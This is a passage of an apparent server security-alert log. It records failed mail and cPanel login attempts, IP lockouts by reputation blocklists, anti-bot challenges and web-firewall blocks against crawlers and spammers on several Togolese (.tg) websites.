2026-06-15 20:42:39 dovecot_login authenticator failed for H=(kMIYYXljp) [141.98.10.175]:62685: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:43:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:43:35 dovecot_login authenticator failed for H=(9Fj2rJ9F) [141.98.10.175]:65144: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.6.161
country_id: 241170
description:
31.134.6.161 - - [15/Jun/2026:20:43:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7237743&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781556230 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.6.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:44:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:44:27 dovecot_login authenticator failed for H=(Hp4Zpo47) [141.98.10.175]:50890: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:45:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:45:36 dovecot_login authenticator failed for H=(dbvDPv) [141.98.10.175]:58114: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:46:29 dovecot_login authenticator failed for H=(Ubrwxe) [141.98.10.175]:60904: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.22.253.109
country_id: 3865483
description:
186.22.253.109 - - [15/Jun/2026:20:46:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923730&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14532&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781556385 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14532" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5373.1477 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.22.253.109


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.111.42
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-46.163.198.111.42||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:46:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:47:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.111.42
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-47.163.198.111.42||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:47:32 dovecot_login authenticator failed for H=(VKDHgf) [141.98.10.175]:51523: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.111.42
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:163.198.111.42||TA:163.198.111.42||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:48:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:48:23 dovecot_login authenticator failed for H=(HTPOJAjP2Y) [141.98.10.175]:56389: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:49:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:49:43 dovecot_login authenticator failed for H=(GjMq7w) [141.98.10.175]:50983: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:50:36 dovecot_login authenticator failed for H=(nqrCGov) [141.98.10.175]:55227: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:50:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.116
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-50.62.197.45.116||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:51:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:51:35 dovecot_login authenticator failed for H=(6mpfrdMN) [141.98.10.175]:49660: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:52:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:52:28 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:52:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:52:40 dovecot_login authenticator failed for H=(MKL0s8PW) [141.98.10.175]:61605: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:53:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.12
country_id: 1880251
description:
47.128.121.12 - - [15/Jun/2026:20:53:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737625&pdata=https%253A%252F%252F24heureinfo.tg%252Ftechweb%252Fvisite-dechanges-et-de-partage-dexperience-entre-larcep-du-togo-et-lartp-du-senegal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781556826 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/techweb/visite-dechanges-et-de-partage-dexperience-entre-larcep-du-togo-et-lartp-du-senegal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.12


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:53:44 dovecot_login authenticator failed for H=(QmtoK3kis) [141.98.10.175]:57957: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:54:23 dovecot_login authenticator failed for H=(Yv4dgKB9d) [141.98.10.175]:60652: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.116
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-55.62.197.45.116||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:54:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:55:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:20:55:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000027&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781556923 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:55:36 dovecot_login authenticator failed for H=(Wt77qRDs) [141.98.10.175]:60942: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:56:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:56:30 dovecot_login authenticator failed for H=(dJGejl1KgO) [141.98.10.175]:51729: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:57:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:57:23 dovecot_login authenticator failed for H=(Dm1XqchnP) [141.98.10.175]:60541: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 20:57:49 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.3
country_id: 3469034
description:
Jun 15 20:57:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:58:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:58:47 dovecot_login authenticator failed for H=(N7JNpC) [141.98.10.175]:65213: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.69.127.162
country_id: 2635167
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:217.69.127.162||TA:217.69.127.162||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 20:59:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 20:59:49 dovecot_login authenticator failed for H=(oCh2heF) [141.98.10.175]:60025: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:00:28 dovecot_login authenticator failed for H=(jqbDec3SC) [141.98.10.175]:60830: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:00:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:01:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:01:27 dovecot_login authenticator failed for H=(wVdQgOsq7) [141.98.10.175]:54819: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:02:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:02:28 dovecot_login authenticator failed for H=(UgpQKA56D) [141.98.10.175]:51697: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:03:16 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:12096: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.1.108.169
country_id: 6252001
description:
2026-06-15 21:03:15 dovecot_plain authenticator failed for H=c-73-1-108-169.hsd1.fl.comcast.net (ghie09un1pkk04j9ec0r6lue2) [73.1.108.169]:50357: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:03:29 dovecot_login authenticator failed for H=(g7hpxu) [141.98.10.175]:64983: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.243.238.21
country_id: 587116
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_254be852b9f97957423de45bce2e705f.css?ver=1.0.0 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.231.56
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/comment-reply.min.js?ver=6.9.4 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.31.217.23
country_id: 1814991
description:
Jun 15 21:04:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.31.217.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.31.217.23
country_id: 1814991
description:
2026-06-15 21:04:09 dovecot_login authenticator failed for H=([115.95.23.226]) [117.31.217.23]:19203: 535 Incorrect authentication data (set_id=no-reply@anrtogo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.56.221.205
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/blocks/paragraph/style.min.css?ver=6.9.4 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.26.42
country_id: 3077311
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-300x169.webp HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:03:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:04:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:04:33 dovecot_login authenticator failed for H=(LUeNkW) [141.98.10.175]:61463: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:05:29 dovecot_login authenticator failed for H=(5Ggq6IrvUo) [141.98.10.175]:58106: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.90.123.179
country_id: 6252001
domain: www.achat.cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:06:00 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:05:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:05:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:05:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:06:22 dovecot_login authenticator failed for H=(zWyl3NzMBG) [141.98.10.175]:62726: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.187.165.109
country_id: 3469034
description:
[2026-06-15 21:06:29 +0000] info [cpaneld] 45.187.165.109 - cogerisq "GET /login/?login_only=1&user=cogerisq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.0.50
country_id: 99237
description:
[2026-06-15 21:06:36 +0000] info [cpaneld] 169.224.0.50 - cogeris "GET /login/?login_only=1&user=cogeris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeris (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:06:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.227.187.34
country_id: 3469034
description:
[2026-06-15 21:06:25 +0000] info [cpaneld] 45.227.187.34 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:06:36 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:9963: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-15 21:06:38 +0000] info [cpaneld] 45.142.201.26 - aifkjzqm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:07:41 dovecot_login authenticator failed for H=(pkmZwf8m) [141.98.10.175]:63337: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:07:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:08:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:08:39 dovecot_login authenticator failed for H=(p63Lr1u8yh) [141.98.10.175]:59772: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.252
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:45.147.232.252||TA:45.147.232.252||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:08:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988295&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781557735 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:09:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:09:32 dovecot_login authenticator failed for H=(ri8RrABvf) [141.98.10.175]:57531: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.151.67
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:148.135.151.67||TA:148.135.151.67||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:10:25 dovecot_login authenticator failed for H=(CbSqeyD) [141.98.10.175]:56671: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.132.92
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:142.147.132.92||TA:142.147.132.92||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.120.146
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.120.146||TA:216.173.120.146||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.224.219
country_id: 6252001
domain: tdn.tg
description:
